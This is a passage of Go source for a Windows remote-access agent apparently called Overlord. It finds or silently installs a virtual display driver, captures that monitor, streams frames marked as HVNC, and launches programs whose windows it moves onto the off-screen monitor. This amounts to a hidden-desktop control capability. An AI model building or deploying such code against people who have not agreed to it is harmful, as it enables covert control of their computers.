2461 lines
64 KiB
Go
2461 lines
64 KiB
Go
//go:build windows
|
|
|
|
package capture
|
|
|
|
import (
|
|
"errors"
|
|
"fmt"
|
|
"image"
|
|
"log"
|
|
"math"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
"sync"
|
|
"sync/atomic"
|
|
"syscall"
|
|
"time"
|
|
"unsafe"
|
|
|
|
"golang.org/x/sys/windows"
|
|
|
|
"overlord-client/cmd/agent/webrtcpub"
|
|
"overlord-client/cmd/agent/wire"
|
|
)
|
|
|
|
var (
|
|
virtualMonitorName string
|
|
virtualMonitorBounds image.Rectangle
|
|
virtualMonitorIndex int
|
|
virtualInitialized bool
|
|
virtualMu sync.Mutex
|
|
|
|
virtualCursorEnabled bool
|
|
virtualInputMu sync.Mutex
|
|
virtualLastCursor point
|
|
virtualHasCursor bool
|
|
virtualWorkingWindow uintptr
|
|
virtualShiftDown bool
|
|
virtualCtrlDown bool
|
|
virtualAltDown bool
|
|
virtualCapsLock bool
|
|
virtualMovingWindow bool
|
|
virtualMoveOffset point
|
|
virtualWindowSize point
|
|
virtualWindowToMove uintptr
|
|
virtualMouseButtons uint32
|
|
virtualLastScale atomic.Uint64
|
|
virtualResizingWindow uintptr
|
|
virtualResizeHit int32
|
|
virtualResizeStart point
|
|
virtualResizeRect rect
|
|
)
|
|
|
|
const (
|
|
virtualDriverURLEnv = "OVERLORD_virtual_DRIVER_URL"
|
|
defaultDriverURL = "https://github.com/VirtualDrivers/Virtual-Display-Driver/releases/latest/download/Virtual-Display-Driver.zip"
|
|
virtualDriverDirName = "OverlordvirtualDriver"
|
|
)
|
|
|
|
type virtualDuplicationState struct {
|
|
mu sync.Mutex
|
|
bounds image.Rectangle
|
|
outputName string
|
|
factory *idxgiFactory1
|
|
adapter *idxgiAdapter1
|
|
output *idxgiOutput
|
|
output1 *idxgiOutput1
|
|
dup *idxgiOutputDuplication
|
|
device *d3d11Device
|
|
context *d3d11DeviceContext
|
|
staging *d3d11Texture2D
|
|
stagingDesc d3d11Texture2DDesc
|
|
h264LastTex *d3d11Texture2D
|
|
h264LastDesc d3d11Texture2DDesc
|
|
desc dxgiOutDuplDesc
|
|
lastBase *image.RGBA
|
|
lastFrame *image.RGBA
|
|
lastFrameAt time.Time
|
|
lastFail time.Time
|
|
createdAt time.Time
|
|
}
|
|
|
|
var virtualDupState = &virtualDuplicationState{}
|
|
|
|
func InitializeVirtualMode() error {
|
|
virtualMu.Lock()
|
|
defer virtualMu.Unlock()
|
|
|
|
if virtualInitialized {
|
|
return nil
|
|
}
|
|
|
|
monName, bounds, err := findVirtualMonitor()
|
|
if err != nil {
|
|
log.Printf("virtual: no virtual monitor found, attempting driver install: %v", err)
|
|
if installErr := installVirtualDriver(); installErr != nil {
|
|
return fmt.Errorf("virtual: failed to find or install virtual monitor driver: %v (install: %v)", err, installErr)
|
|
}
|
|
log.Printf("virtual: driver installed, re-detecting virtual monitor")
|
|
monName, bounds, err = findVirtualMonitor()
|
|
if err != nil {
|
|
return fmt.Errorf("virtual: virtual monitor not found after driver install: %v", err)
|
|
}
|
|
}
|
|
|
|
virtualMonitorName = monName
|
|
virtualMonitorBounds = bounds
|
|
// The capture backends address displays by EnumDisplayMonitors order, not
|
|
// by DXGI adapter/output order. Resolve and retain that real index so virtual
|
|
// mode captures the target monitor through the normal desktop path.
|
|
ResetMonitorCache()
|
|
virtualMonitorIndex = -1
|
|
for i, mon := range monitorList() {
|
|
if mon.rect.Eq(bounds) || (mon.name == monName && mon.rect.Dx() == bounds.Dx() && mon.rect.Dy() == bounds.Dy()) {
|
|
virtualMonitorIndex = i
|
|
break
|
|
}
|
|
}
|
|
if virtualMonitorIndex < 0 {
|
|
virtualInitialized = false
|
|
return fmt.Errorf("virtual: attached monitor %q bounds=%v is missing from desktop monitor enumeration", monName, bounds)
|
|
}
|
|
virtualInitialized = true
|
|
|
|
log.Printf("virtual: initialized virtual monitor %q index=%d bounds=%v", monName, virtualMonitorIndex, bounds)
|
|
return nil
|
|
}
|
|
|
|
func CleanupVirtualMode() {
|
|
virtualMu.Lock()
|
|
defer virtualMu.Unlock()
|
|
|
|
virtualDupState.mu.Lock()
|
|
virtualDupState.close()
|
|
virtualDupState.mu.Unlock()
|
|
|
|
virtualInputMu.Lock()
|
|
virtualShiftDown = false
|
|
virtualCtrlDown = false
|
|
virtualAltDown = false
|
|
virtualCapsLock = false
|
|
virtualMouseButtons = 0
|
|
virtualHasCursor = false
|
|
virtualWorkingWindow = 0
|
|
virtualInputMu.Unlock()
|
|
virtualLastScale.Store(0)
|
|
|
|
virtualMonitorName = ""
|
|
virtualMonitorBounds = image.Rectangle{}
|
|
virtualMonitorIndex = -1
|
|
virtualInitialized = false
|
|
}
|
|
|
|
// VirtualCaptureNormal captures the virtual output through the exact backend
|
|
// used by ordinary remote desktop. This is important for indirect-display
|
|
// drivers which may expose a DXGI output but return an all-black duplication
|
|
// surface to a device created through a separate capture path.
|
|
func VirtualCaptureNormal() (*image.RGBA, error) {
|
|
virtualMu.Lock()
|
|
initialized := virtualInitialized
|
|
index := virtualMonitorIndex
|
|
bounds := virtualMonitorBounds
|
|
virtualMu.Unlock()
|
|
if !initialized || index < 0 {
|
|
return nil, errors.New("virtual capture: monitor is not initialized")
|
|
}
|
|
mons := monitorList()
|
|
if index >= len(mons) || !mons[index].rect.Eq(bounds) {
|
|
ResetMonitorCache()
|
|
mons = monitorList()
|
|
index = -1
|
|
for i, mon := range mons {
|
|
if mon.rect.Eq(bounds) {
|
|
index = i
|
|
break
|
|
}
|
|
}
|
|
if index < 0 {
|
|
return nil, fmt.Errorf("virtual capture: monitor bounds %v disappeared", bounds)
|
|
}
|
|
virtualMu.Lock()
|
|
virtualMonitorIndex = index
|
|
virtualMu.Unlock()
|
|
}
|
|
return captureDisplayFn(index)
|
|
}
|
|
|
|
func VirtualMonitorCount() int {
|
|
if !virtualInitialized {
|
|
return 0
|
|
}
|
|
if virtualMonitorBounds.Dx() > 0 && virtualMonitorBounds.Dy() > 0 {
|
|
return 1
|
|
}
|
|
return 0
|
|
}
|
|
|
|
var (
|
|
virtualDXGIFactory *idxgiFactory1
|
|
virtualDXGIDevice *d3d11Device
|
|
virtualDXGIContext *d3d11DeviceContext
|
|
virtualDXGIOutput1 *idxgiOutput1
|
|
virtualDXGIDup *idxgiOutputDuplication
|
|
virtualDXGIDesc dxgiOutDuplDesc
|
|
virtualDXGIStaging *d3d11Texture2D
|
|
virtualDXGIStagingDesc d3d11Texture2DDesc
|
|
virtualDXGILastBase *image.RGBA
|
|
virtualDXGIMu sync.Mutex
|
|
)
|
|
|
|
func VirtualTryDirectH264Frame() (wire.Frame, time.Duration, time.Duration, bool, error) {
|
|
if blockCodec() != "h264" {
|
|
return wire.Frame{}, 0, 0, false, nil
|
|
}
|
|
return virtualDupState.captureDirectH264()
|
|
}
|
|
|
|
func (s *virtualDuplicationState) captureDirectH264() (wire.Frame, time.Duration, time.Duration, bool, error) {
|
|
capStart := time.Now()
|
|
s.mu.Lock()
|
|
defer s.mu.Unlock()
|
|
if err := s.ensure(); err != nil {
|
|
return wire.Frame{}, 0, 0, true, err
|
|
}
|
|
width := int(s.desc.ModeDesc.Width)
|
|
height := int(s.desc.ModeDesc.Height)
|
|
if width <= 0 || height <= 0 || width%2 != 0 || height%2 != 0 {
|
|
return wire.Frame{}, 0, 0, true, fmt.Errorf("virtual h264: invalid dimensions %dx%d", width, height)
|
|
}
|
|
if s.desc.Rotation != dxgiModeRotationIdentity && s.desc.Rotation != dxgiModeRotationUnspecified {
|
|
return wire.Frame{}, 0, 0, true, fmt.Errorf("virtual h264: non-identity rotation")
|
|
}
|
|
|
|
var info dxgiOutDuplFrameInfo
|
|
var resource *iunknown
|
|
waitMs := uint32(5)
|
|
if s.h264LastTex != nil {
|
|
// Once a cached GPU frame exists, polling must be non-blocking. A fixed
|
|
// 5 ms duplication wait would cap a 120/240 FPS stream well below its
|
|
// requested cadence even though encoding takes under a millisecond.
|
|
waitMs = 0
|
|
}
|
|
hr := s.dup.AcquireNextFrame(waitMs, &info, &resource)
|
|
if hr == dxgiErrorWaitTimeout {
|
|
if s.h264LastTex == nil {
|
|
return wire.Frame{}, time.Since(capStart), 0, true, nil
|
|
}
|
|
return s.encodeCachedDirectH264(capStart, width, height)
|
|
}
|
|
if hr != S_OK {
|
|
if hr == dxgiErrorAccessLost || hr == dxgiErrorDeviceRemoved || hr == dxgiErrorDeviceReset {
|
|
s.close()
|
|
}
|
|
return wire.Frame{}, 0, 0, true, fmt.Errorf("virtual h264: acquire frame 0x%x", hr)
|
|
}
|
|
if resource != nil {
|
|
defer resource.Release()
|
|
}
|
|
|
|
var tex *d3d11Texture2D
|
|
hr = resource.QueryInterface(&IID_ID3D11Texture2D, unsafe.Pointer(&tex))
|
|
if hr != S_OK || tex == nil {
|
|
_ = s.dup.ReleaseFrame()
|
|
return wire.Frame{}, 0, 0, true, fmt.Errorf("virtual h264: not ID3D11Texture2D 0x%x", hr)
|
|
}
|
|
defer tex.Release()
|
|
|
|
var srcDesc d3d11Texture2DDesc
|
|
tex.GetDesc(&srcDesc)
|
|
if err := s.cacheDirectH264Texture(tex, srcDesc); err != nil {
|
|
_ = s.dup.ReleaseFrame()
|
|
return wire.Frame{}, time.Since(capStart), 0, true, err
|
|
}
|
|
_ = s.dup.ReleaseFrame()
|
|
return s.encodeCachedDirectH264(capStart, width, height)
|
|
}
|
|
|
|
func (s *virtualDuplicationState) encodeCachedDirectH264(capStart time.Time, width, height int) (wire.Frame, time.Duration, time.Duration, bool, error) {
|
|
fps := activeH264FPS()
|
|
encStart := time.Now()
|
|
out, _, err := encodeH264D3D11Texture(h264D3D11TextureRequest{
|
|
Device: unsafe.Pointer(s.device), Texture: unsafe.Pointer(s.h264LastTex),
|
|
InputWidth: width, InputHeight: height, EncodeWidth: width, EncodeHeight: height,
|
|
FPS: fps, DXGIFormat: s.h264LastDesc.Format, ForceIDR: webrtcpub.ConsumeKeyframeRequest(),
|
|
})
|
|
encodeDur := time.Since(encStart)
|
|
if err != nil {
|
|
return wire.Frame{}, time.Since(capStart), encodeDur, true, err
|
|
}
|
|
if len(out) == 0 {
|
|
return wire.Frame{}, time.Since(capStart), encodeDur, true, nil
|
|
}
|
|
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", HVNC: true}, Data: out}, time.Since(capStart), encodeDur, true, nil
|
|
}
|
|
|
|
func (s *virtualDuplicationState) cacheDirectH264Texture(src *d3d11Texture2D, srcDesc d3d11Texture2DDesc) error {
|
|
recreate := s.h264LastTex == nil || s.h264LastDesc.Width != srcDesc.Width || s.h264LastDesc.Height != srcDesc.Height || s.h264LastDesc.Format != srcDesc.Format
|
|
if recreate {
|
|
if s.h264LastTex != nil {
|
|
s.h264LastTex.Release()
|
|
s.h264LastTex = nil
|
|
}
|
|
desc := srcDesc
|
|
desc.MipLevels, desc.ArraySize = 1, 1
|
|
desc.SampleDesc.Count, desc.SampleDesc.Quality = 1, 0
|
|
desc.Usage, desc.BindFlags, desc.CPUAccessFlags, desc.MiscFlags = 0, 0, 0, 0
|
|
if hr := s.device.CreateTexture2D(&desc, nil, &s.h264LastTex); hr != S_OK || s.h264LastTex == nil {
|
|
return fmt.Errorf("virtual h264: cache texture creation failed 0x%x", hr)
|
|
}
|
|
s.h264LastDesc = desc
|
|
}
|
|
s.context.CopyResource(s.h264LastTex, src)
|
|
return nil
|
|
}
|
|
|
|
func VirtualCaptureDXGI() (*image.RGBA, error) {
|
|
virtualDXGIMu.Lock()
|
|
defer virtualDXGIMu.Unlock()
|
|
|
|
if err := VirtualEnsureDXGI(); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
var info dxgiOutDuplFrameInfo
|
|
var resource *iunknown
|
|
waitMs := uint32(5)
|
|
hr := uintptr(0)
|
|
for {
|
|
hr = virtualDXGIDup.AcquireNextFrame(waitMs, &info, &resource)
|
|
if hr != dxgiErrorWaitTimeout {
|
|
break
|
|
}
|
|
if virtualDXGILastBase != nil {
|
|
return cloneRGBA(virtualDXGILastBase), nil
|
|
}
|
|
if waitMs >= 50 {
|
|
return nil, errors.New("virtual dxgi: frame timeout")
|
|
}
|
|
waitMs = 50
|
|
}
|
|
if hr == dxgiErrorAccessLost {
|
|
VirtualDestroyDXGI()
|
|
return nil, errors.New("virtual dxgi: access lost")
|
|
}
|
|
if hr == dxgiErrorDeviceRemoved || hr == dxgiErrorDeviceReset {
|
|
VirtualDestroyDXGI()
|
|
return nil, fmt.Errorf("virtual dxgi: device lost 0x%x", hr)
|
|
}
|
|
if hr != S_OK {
|
|
return nil, fmt.Errorf("virtual dxgi: acquire frame failed 0x%x", hr)
|
|
}
|
|
if resource != nil {
|
|
defer resource.Release()
|
|
}
|
|
|
|
width := int(virtualDXGIDesc.ModeDesc.Width)
|
|
height := int(virtualDXGIDesc.ModeDesc.Height)
|
|
if width <= 0 || height <= 0 {
|
|
_ = virtualDXGIDup.ReleaseFrame()
|
|
return nil, errors.New("virtual dxgi: invalid frame size")
|
|
}
|
|
|
|
var img *image.RGBA
|
|
if virtualDXGIDesc.DesktopImageInSystemMemory != 0 {
|
|
var mapped dxgiMappedRect
|
|
hr = virtualDXGIDup.MapDesktopSurface(&mapped)
|
|
if hr != S_OK {
|
|
_ = virtualDXGIDup.ReleaseFrame()
|
|
return nil, fmt.Errorf("virtual dxgi: map failed 0x%x", hr)
|
|
}
|
|
dup := virtualDXGIDup
|
|
defer func() {
|
|
_ = dup.UnMapDesktopSurface()
|
|
_ = dup.ReleaseFrame()
|
|
}()
|
|
if mapped.Pitch <= 0 || mapped.Bits == nil {
|
|
return nil, errors.New("virtual dxgi: invalid mapped surface")
|
|
}
|
|
pitch := int(mapped.Pitch)
|
|
src := unsafe.Slice(mapped.Bits, pitch*height)
|
|
img = convertBGRA(src, pitch, width, height, virtualDXGIDesc.Rotation)
|
|
if img == nil {
|
|
return nil, errors.New("virtual dxgi: pixel conversion failed")
|
|
}
|
|
} else {
|
|
var tex *d3d11Texture2D
|
|
hr = resource.QueryInterface(&IID_ID3D11Texture2D, unsafe.Pointer(&tex))
|
|
if hr != S_OK || tex == nil {
|
|
_ = virtualDXGIDup.ReleaseFrame()
|
|
return nil, fmt.Errorf("virtual dxgi: not texture 0x%x", hr)
|
|
}
|
|
defer tex.Release()
|
|
|
|
var srcDesc d3d11Texture2DDesc
|
|
tex.GetDesc(&srcDesc)
|
|
if virtualDXGIStaging == nil || virtualDXGIStagingDesc.Width != srcDesc.Width || virtualDXGIStagingDesc.Height != srcDesc.Height || virtualDXGIStagingDesc.Format != srcDesc.Format {
|
|
if virtualDXGIStaging != nil {
|
|
virtualDXGIStaging.Release()
|
|
virtualDXGIStaging = nil
|
|
}
|
|
sd := srcDesc
|
|
sd.Usage = d3d11UsageStaging
|
|
sd.BindFlags = 0
|
|
sd.CPUAccessFlags = d3d11CpuAccessRead
|
|
sd.MiscFlags = 0
|
|
sd.MipLevels = 1
|
|
sd.ArraySize = 1
|
|
sd.SampleDesc.Count = 1
|
|
sd.SampleDesc.Quality = 0
|
|
var staging *d3d11Texture2D
|
|
hr = virtualDXGIDevice.CreateTexture2D(&sd, nil, &staging)
|
|
if hr != S_OK || staging == nil {
|
|
_ = virtualDXGIDup.ReleaseFrame()
|
|
return nil, fmt.Errorf("virtual dxgi: staging texture 0x%x", hr)
|
|
}
|
|
virtualDXGIStaging = staging
|
|
virtualDXGIStagingDesc = sd
|
|
}
|
|
virtualDXGIContext.CopyResource(virtualDXGIStaging, tex)
|
|
_ = virtualDXGIDup.ReleaseFrame()
|
|
|
|
var mapped d3d11MappedSubresource
|
|
hr = virtualDXGIContext.Map(virtualDXGIStaging, 0, d3d11MapRead, 0, &mapped)
|
|
if hr != S_OK {
|
|
return nil, fmt.Errorf("virtual dxgi: map 0x%x", hr)
|
|
}
|
|
defer virtualDXGIContext.Unmap(virtualDXGIStaging, 0)
|
|
|
|
pitch := int(mapped.RowPitch)
|
|
src := unsafe.Slice((*byte)(mapped.Data), pitch*int(srcDesc.Height))
|
|
img = convertBGRA(src, pitch, int(srcDesc.Width), int(srcDesc.Height), virtualDXGIDesc.Rotation)
|
|
}
|
|
|
|
if img != nil {
|
|
virtualDXGILastBase = cloneRGBA(img)
|
|
}
|
|
return img, nil
|
|
}
|
|
|
|
func VirtualCaptureGDI() (*image.RGBA, error) {
|
|
virtualMu.Lock()
|
|
bounds := virtualMonitorBounds
|
|
virtualMu.Unlock()
|
|
|
|
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
|
return nil, fmt.Errorf("virtual gdi: no virtual monitor bounds")
|
|
}
|
|
|
|
monitors := monitorList()
|
|
for _, m := range monitors {
|
|
if m.rect.Min.X == bounds.Min.X && m.rect.Min.Y == bounds.Min.Y {
|
|
return captureVirtualGDIBlt(m)
|
|
}
|
|
}
|
|
return nil, fmt.Errorf("virtual gdi: virtual monitor not in monitor list")
|
|
}
|
|
|
|
func captureVirtualGDIBlt(mon monitorDesc) (*image.RGBA, error) {
|
|
width := mon.rect.Dx()
|
|
height := mon.rect.Dy()
|
|
if width <= 0 || height <= 0 {
|
|
return nil, syscall.EINVAL
|
|
}
|
|
|
|
hdcScreen := getDC(0)
|
|
if hdcScreen == 0 {
|
|
return nil, fmt.Errorf("gdi blt: getDC failed")
|
|
}
|
|
defer releaseDC(0, hdcScreen)
|
|
|
|
hdcMem := createCompatibleDC(hdcScreen)
|
|
if hdcMem == 0 {
|
|
return nil, fmt.Errorf("gdi blt: createCompatibleDC failed")
|
|
}
|
|
defer deleteDC(hdcMem)
|
|
|
|
bmi := bitmapInfo{
|
|
bmiHeader: bitmapInfoHeader{
|
|
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
|
|
biWidth: int32(width),
|
|
biHeight: -int32(height),
|
|
biPlanes: 1,
|
|
biBitCount: 32,
|
|
biCompression: BI_RGB,
|
|
},
|
|
}
|
|
var bits unsafe.Pointer
|
|
hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
|
|
if hbmp == 0 || bits == nil {
|
|
return nil, fmt.Errorf("gdi blt: createDIBSection failed")
|
|
}
|
|
defer deleteObject(hbmp)
|
|
|
|
selectObject(hdcMem, hbmp)
|
|
bitBlt(hdcMem, 0, 0, int32(width), int32(height), hdcScreen, int32(mon.rect.Min.X), int32(mon.rect.Min.Y), SRCCOPY)
|
|
|
|
img := image.NewRGBA(image.Rect(0, 0, width, height))
|
|
buf := unsafe.Slice((*byte)(bits), width*height*4)
|
|
copy(img.Pix, buf)
|
|
return img, nil
|
|
}
|
|
|
|
func VirtualEnsureDXGI() error {
|
|
if virtualDXGIDup != nil {
|
|
return nil
|
|
}
|
|
VirtualDestroyDXGI()
|
|
|
|
virtualMu.Lock()
|
|
bounds := virtualMonitorBounds
|
|
virtualMu.Unlock()
|
|
|
|
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
|
return errors.New("virtual dxgi: no virtual monitor bounds")
|
|
}
|
|
|
|
factory, err := createDXGIFactory1()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
var primaryAdapter *idxgiAdapter1
|
|
hr := factory.EnumAdapters1(0, &primaryAdapter)
|
|
if hr != S_OK || primaryAdapter == nil {
|
|
factory.Release()
|
|
return fmt.Errorf("virtual dxgi: no primary adapter 0x%x", hr)
|
|
}
|
|
|
|
device, context, err := createD3DDevice(primaryAdapter)
|
|
if err != nil {
|
|
primaryAdapter.Release()
|
|
factory.Release()
|
|
return fmt.Errorf("virtual dxgi: D3D device failed: %v", err)
|
|
}
|
|
|
|
var targetOutput *idxgiOutput
|
|
var targetAdapter *idxgiAdapter1
|
|
foundOutput := false
|
|
|
|
for adapterIndex := 0; ; adapterIndex++ {
|
|
var adapter *idxgiAdapter1
|
|
hr := factory.EnumAdapters1(uint32(adapterIndex), &adapter)
|
|
if hr == dxgiErrorNotFound {
|
|
break
|
|
}
|
|
if hr != S_OK || adapter == nil {
|
|
continue
|
|
}
|
|
|
|
for outputIndex := 0; ; outputIndex++ {
|
|
var output *idxgiOutput
|
|
hrOut := adapter.EnumOutputs(uint32(outputIndex), &output)
|
|
if hrOut == dxgiErrorNotFound {
|
|
break
|
|
}
|
|
if hrOut != S_OK || output == nil {
|
|
continue
|
|
}
|
|
|
|
var desc dxgiOutputDesc
|
|
_ = output.GetDesc(&desc)
|
|
coords := image.Rect(
|
|
int(desc.DesktopCoordinates.left),
|
|
int(desc.DesktopCoordinates.top),
|
|
int(desc.DesktopCoordinates.right),
|
|
int(desc.DesktopCoordinates.bottom),
|
|
)
|
|
|
|
if coords.Dx() == bounds.Dx() && coords.Dy() == bounds.Dy() &&
|
|
coords.Min.X == bounds.Min.X && coords.Min.Y == bounds.Min.Y &&
|
|
desc.AttachedToDesktop != 0 {
|
|
targetOutput = output
|
|
targetAdapter = adapter
|
|
foundOutput = true
|
|
break
|
|
}
|
|
output.Release()
|
|
}
|
|
if foundOutput {
|
|
break
|
|
}
|
|
adapter.Release()
|
|
}
|
|
|
|
if !foundOutput {
|
|
context.Release()
|
|
device.Release()
|
|
primaryAdapter.Release()
|
|
factory.Release()
|
|
return errors.New("virtual dxgi: virtual monitor output not found")
|
|
}
|
|
|
|
var output1 *idxgiOutput1
|
|
hr = (*iunknown)(unsafe.Pointer(targetOutput)).QueryInterface(&IID_IDXGIOutput1, unsafe.Pointer(&output1))
|
|
if hr != S_OK || output1 == nil {
|
|
targetAdapter.Release()
|
|
targetOutput.Release()
|
|
context.Release()
|
|
device.Release()
|
|
primaryAdapter.Release()
|
|
factory.Release()
|
|
return errors.New("virtual dxgi: IDXGIOutput1 query failed")
|
|
}
|
|
|
|
var dup *idxgiOutputDuplication
|
|
hr = output1.DuplicateOutput((*iunknown)(unsafe.Pointer(device)), &dup)
|
|
if hr != S_OK || dup == nil {
|
|
output1.Release()
|
|
targetAdapter.Release()
|
|
targetOutput.Release()
|
|
context.Release()
|
|
device.Release()
|
|
primaryAdapter.Release()
|
|
factory.Release()
|
|
return fmt.Errorf("virtual dxgi: DuplicateOutput failed 0x%x (try GDI)", hr)
|
|
}
|
|
|
|
var desc dxgiOutDuplDesc
|
|
_ = dup.GetDesc(&desc)
|
|
|
|
targetAdapter.Release()
|
|
targetOutput.Release()
|
|
primaryAdapter.Release()
|
|
|
|
virtualDXGIFactory = factory
|
|
virtualDXGIDevice = device
|
|
virtualDXGIContext = context
|
|
virtualDXGIOutput1 = output1
|
|
virtualDXGIDup = dup
|
|
virtualDXGIDesc = desc
|
|
|
|
if desc.DesktopImageInSystemMemory == 0 {
|
|
log.Printf("virtual: dxgi duplication initialized (staging readback) bounds=%v", bounds)
|
|
} else {
|
|
log.Printf("virtual: dxgi duplication initialized (system memory) bounds=%v", bounds)
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func VirtualResetDXGI() {
|
|
virtualDXGIMu.Lock()
|
|
VirtualDestroyDXGI()
|
|
virtualDXGIMu.Unlock()
|
|
virtualDupState.mu.Lock()
|
|
virtualDupState.close()
|
|
virtualDupState.mu.Unlock()
|
|
}
|
|
|
|
func VirtualDestroyDXGI() {
|
|
if virtualDXGIDup != nil {
|
|
virtualDXGIDup.Release()
|
|
virtualDXGIDup = nil
|
|
}
|
|
if virtualDXGIStaging != nil {
|
|
virtualDXGIStaging.Release()
|
|
virtualDXGIStaging = nil
|
|
virtualDXGIStagingDesc = d3d11Texture2DDesc{}
|
|
}
|
|
if virtualDXGIOutput1 != nil {
|
|
virtualDXGIOutput1.Release()
|
|
virtualDXGIOutput1 = nil
|
|
}
|
|
if virtualDXGIContext != nil {
|
|
virtualDXGIContext.Release()
|
|
virtualDXGIContext = nil
|
|
}
|
|
if virtualDXGIDevice != nil {
|
|
virtualDXGIDevice.Release()
|
|
virtualDXGIDevice = nil
|
|
}
|
|
if virtualDXGIFactory != nil {
|
|
virtualDXGIFactory.Release()
|
|
virtualDXGIFactory = nil
|
|
}
|
|
virtualDXGIDesc = dxgiOutDuplDesc{}
|
|
PutRGBA(virtualDXGILastBase)
|
|
virtualDXGILastBase = nil
|
|
}
|
|
|
|
func VirtualCaptureDisplay() (*image.RGBA, error) {
|
|
virtualMu.Lock()
|
|
if !virtualInitialized {
|
|
virtualMu.Unlock()
|
|
return nil, fmt.Errorf("virtual mode not initialized")
|
|
}
|
|
virtualMu.Unlock()
|
|
|
|
return virtualDupState.capture()
|
|
}
|
|
|
|
func StartVirtualProcess(filePath string) (uint32, error) {
|
|
virtualMu.Lock()
|
|
if !virtualInitialized {
|
|
virtualMu.Unlock()
|
|
return 0, fmt.Errorf("virtual mode not initialized")
|
|
}
|
|
bounds := virtualMonitorBounds
|
|
virtualMu.Unlock()
|
|
|
|
if strings.TrimSpace(filePath) == "" {
|
|
return 0, errors.New("virtual: empty command line")
|
|
}
|
|
// Some launchers (notably explorer.exe and Chromium) hand the request to an
|
|
// existing process. Remember the current windows so placement can also find
|
|
// the newly-created top-level window when it is not owned by the returned PID.
|
|
baseline := virtualTopLevelWindowSet()
|
|
|
|
cmdLine, err := syscall.UTF16FromString(filePath)
|
|
if err != nil {
|
|
return 0, fmt.Errorf("virtual: failed to convert command line: %v", err)
|
|
}
|
|
|
|
var si startupInfo
|
|
var pi processInformation
|
|
si.cb = uint32(unsafe.Sizeof(si))
|
|
si.dwX = uint32(bounds.Min.X)
|
|
si.dwY = uint32(bounds.Min.Y)
|
|
si.dwFlags = STARTF_USEPOSITION
|
|
creationFlags := uintptr(0)
|
|
if virtualCommandNeedsNewConsole(filePath) {
|
|
// Console hosts only consistently honor STARTF_USEPOSITION when Windows
|
|
// creates a fresh console. This places cmd/PowerShell on the virtual
|
|
// monitor before their first visible frame; the window mover remains a
|
|
// fallback for applications that override STARTUPINFO.
|
|
creationFlags = CREATE_NEW_CONSOLE
|
|
}
|
|
|
|
ret, _, callErr := procCreateProcessW.Call(
|
|
0,
|
|
uintptr(unsafe.Pointer(&cmdLine[0])),
|
|
0,
|
|
0,
|
|
0,
|
|
creationFlags,
|
|
0,
|
|
0,
|
|
uintptr(unsafe.Pointer(&si)),
|
|
uintptr(unsafe.Pointer(&pi)),
|
|
)
|
|
if ret == 0 {
|
|
if callErr != nil {
|
|
return 0, fmt.Errorf("virtual: CreateProcess failed: %v", callErr)
|
|
}
|
|
return 0, fmt.Errorf("virtual: CreateProcess failed")
|
|
}
|
|
|
|
pid := pi.dwProcessId
|
|
log.Printf("virtual: started process %q (pid=%d), moving windows to virtual monitor", filePath, pid)
|
|
|
|
go moveProcessWindowsToVirtualMonitor(pid, bounds, baseline)
|
|
|
|
if pi.hThread != 0 {
|
|
procCloseHandle.Call(pi.hThread)
|
|
}
|
|
if pi.hProcess != 0 {
|
|
procCloseHandle.Call(pi.hProcess)
|
|
}
|
|
|
|
return pid, nil
|
|
}
|
|
|
|
func virtualCommandNeedsNewConsole(commandLine string) bool {
|
|
s := strings.ToLower(strings.TrimSpace(commandLine))
|
|
if strings.HasPrefix(s, `"`) {
|
|
s = strings.TrimPrefix(s, `"`)
|
|
}
|
|
first := s
|
|
if i := strings.IndexAny(first, " \t\""); i >= 0 {
|
|
first = first[:i]
|
|
}
|
|
first = strings.ToLower(filepath.Base(first))
|
|
switch first {
|
|
case "cmd", "cmd.exe", "powershell", "powershell.exe", "pwsh", "pwsh.exe", "conhost", "conhost.exe":
|
|
return true
|
|
default:
|
|
return false
|
|
}
|
|
}
|
|
|
|
func virtualTopLevelWindowSet() map[uintptr]struct{} {
|
|
result := make(map[uintptr]struct{})
|
|
deskHwnd, _, _ := procGetDesktopWindow.Call()
|
|
for hwnd := getTopWindow(deskHwnd); hwnd != 0; hwnd = getWindow(hwnd, GW_HWNDNEXT) {
|
|
if isWindowVisible(hwnd) {
|
|
result[hwnd] = struct{}{}
|
|
}
|
|
}
|
|
return result
|
|
}
|
|
|
|
func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, baseline map[uintptr]struct{}) {
|
|
hwndMap := make(map[uintptr]uint32)
|
|
|
|
for attempt := 0; attempt < 75; attempt++ {
|
|
time.Sleep(200 * time.Millisecond)
|
|
|
|
deskHwnd, _, _ := procGetDesktopWindow.Call()
|
|
hwnd := getTopWindow(deskHwnd)
|
|
if hwnd == 0 {
|
|
continue
|
|
}
|
|
|
|
moved := 0
|
|
for hwnd != 0 {
|
|
if !isWindowVisible(hwnd) {
|
|
hwnd = getWindow(hwnd, GW_HWNDNEXT)
|
|
continue
|
|
}
|
|
|
|
var winPID uint32
|
|
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&winPID)))
|
|
_, existedBeforeLaunch := baseline[hwnd]
|
|
if winPID != pid && existedBeforeLaunch {
|
|
hwnd = getWindow(hwnd, GW_HWNDNEXT)
|
|
continue
|
|
}
|
|
|
|
if _, already := hwndMap[hwnd]; already {
|
|
hwnd = getWindow(hwnd, GW_HWNDNEXT)
|
|
continue
|
|
}
|
|
hwndMap[hwnd] = pid
|
|
|
|
var r rect
|
|
procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&r)))
|
|
winW := int(r.right - r.left)
|
|
winH := int(r.bottom - r.top)
|
|
if winW <= 0 || winH <= 0 {
|
|
hwnd = getWindow(hwnd, GW_HWNDNEXT)
|
|
continue
|
|
}
|
|
|
|
newX := int32(bounds.Min.X)
|
|
newY := int32(bounds.Min.Y)
|
|
// Keep the whole window on the target display and allow Windows to
|
|
// apply the appropriate per-monitor DPI/non-client recalculation.
|
|
if winW > bounds.Dx() {
|
|
winW = bounds.Dx()
|
|
}
|
|
if winH > bounds.Dy() {
|
|
winH = bounds.Dy()
|
|
}
|
